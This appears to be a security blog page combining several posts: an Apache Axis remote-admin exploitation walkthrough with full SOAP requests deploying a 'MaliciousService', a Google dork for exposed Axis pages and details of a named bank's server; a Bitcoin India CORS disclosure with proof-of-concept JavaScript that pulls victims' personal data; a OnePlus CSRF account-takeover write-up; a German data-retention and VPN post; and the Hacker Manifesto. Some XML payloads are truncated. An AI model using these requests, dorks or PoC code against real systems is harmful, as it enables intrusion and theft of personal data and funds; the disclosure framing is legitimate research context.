But first of all let's have a look what Apache Axis is and how it can be used: "Apache Axis is an implementation of the SOAP ("Simple Object Access Protocol") submission to W3C. From the draft W3C specification: SOAP is a lightweight protocol for exchanging structured information in a decentralized, distributed environment. It is an XML based protocol that consists of three parts: an envelope that defines a framework for describing what is in a message and how to process it, a set of encoding rules for expressing instances of application-defined datatypes, and a convention for representing remote procedure calls and responses." - Source: https://axis.apache.org/axis/

We'll focus on the Java version, Apache Axis allows to offer arbitrary Java classes as a webservice that can be executed with a SOAP call.

How do you deploy a webservice without having local access to the server? With a webservice like "AdminService", you can find a list of available services on /servlet/AxisServlet. So you say deploying a new webservice without any authorization can't be possible? Yeah...technically you're right...but:

"I always deploy like this"

The documentation states: "WARNING: enabling remote administration may give unauthorized parties access to your machine. If you do this, please make sure to add security to your configuration!" Source: https://axis.apache.org/axis/java/user-guide.html

Usually access to AdminService is restricted to localhost and can only be exploited using another flaw like a XXE in Oracle PeopleSoft: https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce

Let's try to deploy a webservice remotely which will expose all public methods of the org.apache.commons.io.FileUtils class:

POST /axis/services/AdminService HTTP/1.1
Host: censored
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
SOAPAction: "censored"
Content-Length: 832

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            <ns1:service name="MaliciousService" provider="java:RPC">
                <ns1:parameter name="className" value="org.apache.commons.io.FileUtils"/>
                <ns1:parameter name="allowedMethods" value="*"/>

If you get the following response, you were successful and "enableRemoteAdmin" is set to true:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/xml;charset=utf-8
Date: censored
Connection: close

<?xml version="1.0" encoding="UTF-8"?>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body><Admin>Done processing</Admin></soapenv:Body>

You can execute it by calling getTempDirectoryPath() to get the path to the temp folder:

POST /axis/services/MaliciousService HTTP/1.1
Host: censored
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
SOAPAction: "censored"
Content-Length: 381

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        <api:getTempDirectoryPath soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

Voilà, your path (/tmp):

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/xml;charset=utf-8
Date: censored
Connection: close

<?xml version="1.0" encoding="UTF-8"?>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

<soapenv:Body><ns1:getTempDirectoryPathResponse soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="">
<getTempDirectoryPathReturn xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">/tmp</getTempDirectoryPathReturn></ns1:getTempDirectoryPathResponse></soapenv:Body></soapenv:Envelope>

Depending on the available classes it's possible to execute arbitrary code to compromise the system. Even if you're unlucky you can get a lot of information from /happyaxis.jsp like OS & kernel version, directory structure, Java version, configuration details and even passwords sometimes.

The Central Bank of Brazil reveals that it's using WebSphere on a Linux server (opt/WebSphere/AppServer/profiles/AppSrv) called SERVER4_DINE5 with the kernel 2.6.32-696.13.2.el6.x86_64, their SMTP server is smtp.bcnet.bcb.gov.br and they seem to use java_1.7_64: https://www3.bcb.gov.br/wssgs/happyaxis.jsp According to Red Hat they miss at least one important security fix. :-D

Those pages can be found using the following Google dork:

inurl:"/happyaxis.jsp" intitle:"Axis Happiness Page"

You can find more blog posts about security & Axis here: https://kooksec.blogspot.de/2017/03/manually-exploiting-axis2.html, https://zeroknock.blogspot.de/2012/10/exposed-apache-axis-soap-objects.html

Bitcoin india Inc.

Draining the wallets - pwning "the world's most secure Bitcoin Wallet & Exchange"

When I read that something is the world‘s most secure thing I can‘t resist to break it. We all know these fancy stories about drained wallets and how fast you can see your precious coins moving to another guy. Often it‘s the fault of the users e.g. reused passwords, 2FA via SMS or falling for phishing attacks but sometimes exchanges also do their part to mess it up.

First of all let‘s start a short rant about responsible disclosure & vulnerability management in practice, what‘s responsible disclosure in theory?

„Responsible disclosure is a computer security term describing a vulnerability disclosure model. It is like full disclosure, with the addition that all stakeholders agree to allow a period of time for the vulnerability to be patched before publishing the details.“ https://en.wikipedia.org/wiki/Responsible_disclosure

Seems like a nice model doesn‘t it? Yep, actually it‘s pretty perfect but only if somebody cares … Responsible disclosure always starts with searching someone responsible you can talk to and no I‘m not talking about support@. These guys aren‘t helpful in 98% of my cases but that‘s not their fault, it simply shows how much the affected company cares about information security. If you don‘t want to hire a security team or create a security@ email address at least provide clear instructions to your support staff what they should do in case of a vulnerability report. You won‘t like the headline „Company X hacked – support staff junked the vulnerability report 2 years ago“.

I‘m looking at you Bitcoin India … you‘re not only dealing with personally identifiable information but with a huge amount of customer funds. Due to countless KYC rules every Bitcoin exchange needs to verify their customers with official documents nowadays. Just imagine how these pictures & PDF files might be stored and how useful they could be to take over not only your digital life. Enough talk, let‘s get technical. If you don‘t know what Cross-Origin Resource Sharing (CORS) is you should check this out first and read about some common misconfigurations: http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html

Kudos to @albinowax, really nice work!

bitcoin-india.org dynamically generates the „Access-Control-Allow-Origin“ header based on your input and also sets „Access-Control-Allow-Credentials“ to true. You can easily test it by running:

curl -I -H "Origin: https://s3cur3.it" https://www.bitcoin-india.org/

Usually a CORS misconfiguartion comes with a nice JSON API … not this time … it might be the only reason why nobody will exploit it, good job! :-D Thanks to DOMParser() you can parse any HTML code and access elements by their ID with getElementById( 'user_email' ).

That‘s how the PoC looks like:

var req = new XMLHttpRequest();
req.onload = PIIdata;
req.withCredentials = true;

function PIIdata() {
    parser = new DOMParser();
    htmlDoc = parser.parseFromString(this.responseText, "text/html");
    document.getElementById("email").innerHTML = htmlDoc.getElementById( 'user_email' ).value;
    document.getElementById("name").innerHTML = htmlDoc.getElementById( 'user_firstname' ).value;
    document.getElementById("mobile").innerHTML = htmlDoc.getElementById( 'user_mobile_number' ).value;

The PoC only extracts PII data but it could be easily modified to transfer your coins somewhere else. It‘s not my intention to harm innocent users that‘s why I prefer to leave it as a lesson for the reader. ;-)


Bitcoin india Inc. Bitcoin india Inc.


Click here!

Disclosure timeline:

  • 20.09.2017 - Contacted Brett Mason, Vice President of Bitcoin India Inc. & Sykam Sreemannarayana Reddy, President of Bitcoin India Inc. via e-mail.

  • 20.09.2017 - 5 hours later I received a read receipt from Brett Mason but no answer.

  • 21.09.2017 - Replied (CC to hr@ & president@) to the read receipt mentioning an upcoming disclosure if they continue to ignore my emails.

  • 22.09.2017 - Contacted CoinDesk.com.

  • 25.09.2017 - CoinDesk.com refuses to publish it mentioning that they‘re concerned about disclosing the bug.

  • 02.10.2017 – Received no answer from anyone at Bitcoin India Inc. --> Disclosure.

Vorbereitung zur Vorratsdatenspeicherung

Ab dem 01.07.2017 werden sämtliche Verkehrsdaten in Deutschland, die bei der Telekommunikation anfallen, bis zu 10 Wochen gespeichert.

Gespeichert werden unter anderem:

  • die Rufnummer oder Kennung des anrufenden und des angerufenen Anschlusses, bei Um- oder Weiterschaltungen jedes weiteren beteiligten Anschlusses,

  • Datum und Uhrzeit von Beginn und Ende der Verbindung,

  • Angaben zum genutzten Dienst

  • im Fall mobiler Telefondienste ferner

    die internationale Kennung mobiler Teilnehmer für den anrufenden und angerufenen Anschluss,
    die internationale Kennung des anrufenden und angerufenen Endgerätes,
    Datum und Uhrzeit der ersten Aktivierung des Dienstes, wenn Dienste im Voraus bezahlt wurden,
    die Bezeichnungen der Funkzellen
  • im Fall von Internet-Telefondiensten

    die IP des anrufenden und des angerufenen Anschlusses und zugewiesene Benutzerkennungen
    die Zeitpunkte der Versendung und des Empfangs der Nachricht bei der Übermittlung einer Kurz-, Multimedia- oder ähnlichen Nachricht
  • Daten für unbeantwortete oder erfolglose Anrufe gem. § 96 Abs.1 Satz 2 TKG

  • die dem Teilnehmer für eine Internetnutzung zugewiesene IP

  • die eindeutige Kennung des Anschlusses, über den die Internetnutzung erfolgt, sowie die zugewiesene Benutzerkennung

  • Datum und Uhrzeit von Beginn und Ende der Internetnutzung unter der zugewiesenen IP

  • bei öffentlich zugänglichen Internetzugangsdiensten und deren mobiler Nutzung

    die Bezeichnung der bei Beginn der Internetverbindung genutzten Funkzelle
    die Daten zur geografischen Lage und Hauptstrahlrichtungen der versorgenden Funkantennen

Quelle: https://www.datenschutz-wiki.de/Vorratsdatenspeicherung

Es gibt also genug Gründe in Zukunft seine Internetaktivitäten zu verschleiern und sein Handy nicht dauernd eingeschaltet bei sich zu tragen.

Aber ein OpenWRT-Router (GL-AR300M) für 35,00 € & ein VPN-Server lösen (http://gl-inet.com/docs/openwrt/openvpn/) zumindest das Problem der Verkehrsdaten (gegen Standortdaten hilft nur ausschalten!). Das Setup des kleinen Routers ist nicht schwer, nur unnötige Dienste wie Samba oder Telnet sollte man vielleicht via SSH abschalten (/etc/init.d/samba disable && /etc/init.d/samba stop). Dieser kleine Router könnte, bereits konfiguriert, auch ein klasse Geschenk sein...nur als kleine Anregung.

Einen kostenlosen VPN-Server, der keine Nutzeraktivitäten protokolliert und auch nie protokollieren wird, findet man bei https://www.saveyourprivacy.net/vpn-service. Wir finanzieren uns nur über Spenden & Mitgliedsbeiträge und haben keine Gewinnerzielungsabsicht. Jeder Euro fließt in mehr Bandbreite oder neue Server! ;-)

Wer diesem sympathischen Aktivisten-Kollektiv dennoch nicht traut, kann auch kommerzielle Angebote nutzen. Speziell VPN.ac kann ich hier aufgrund persönlicher Kontakte & Erfahrungen empfehlen. Zusätzlich sollte man bedenken, dass man seinen VPN-Anbieter nicht mit seiner Kreditkarte oder seinem PayPal-Konto bezahlt...und nein, man kauft auch die Bitcoins nicht via Kreditkarte oder PayPal!

Die Vorratsdatenspeicherung mit Technik zu bekämpfen hilft zunächst, behebt aber das Grundproblem nicht. Wenn man seinen lokalen Bundestagsabgeordneten noch nicht persönlich kennt, ist das ein toller Zeitpunkt um ihm/ihr mal mitzuteilen, dass man von der Vorratsdatenspeicherung nicht besonders begeistert ist.

Wer Fragen oder Anregungen hat, darf mich natürlich gerne kontaktieren. :-)

From CSRF to account takeover

Can you visit an online shop only to buy something? I can’t…as soon as the browser loads the site I think about possible bugs and exploitation techniques, I guess it’s an addiction or illness. :-D But I like it, it makes shopping a real adventure.

oneplus.net used CSRF protection to prevent unauthorized commands being sent under the context of the user. But it could be bypassed by sending a specially crafted CSRF token (form_key). I found out that their back end system couldn’t handle parameter values that started with a “-”. So form_keys starting with a “-” were accepted although they weren’t valid. This allowed an attacker to add arbitrary default addresses to a victim’s account.

Screenshot - PoC

Unfortunately all parameters were appropriately sanitized so I couldn’t weaponize it to a nice stored XSS. But that was not needed at all. ;-) Adding default addresses like MostEvil Guy living in the MilkyWay to random OnePlus accounts could be quite funny, but I didn’t want to leave without an account takeover.

Let’s get it started!

1.) Send the victim the CSRF exploit, use the telephone field! Offering someone to call you creates trust. 2.) Create an email account and make sure there’s a connection to your cover identity (added address), i.e. prename.surname@randomprovider.com 3.) Send a recovery request to accounts[

The “recovered” account will contain credit card data and (pending) orders…but it’s absolutely not worth the effort as long as phishing works that good…

OnePlus: “Taking into account the difficulty of this vulnerability being exploited(It requires a combination of sophisticated social engineering),we can offer you a headset as gift to express our appreciation.”

The flaw was responsible reported to the awesome guys at security[

Thank you liuyingwei! Keep it up!

Hello World!

Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike.

But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world...Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me...Damn underachiever. They're all alike.

I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike.

I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike.

And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. "This is it... this is where I belong..." I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike...

You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us will- ing pupils, but those few are like drops of water in the desert.

This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike.

Source: http://phrack.org/issues/7/3.html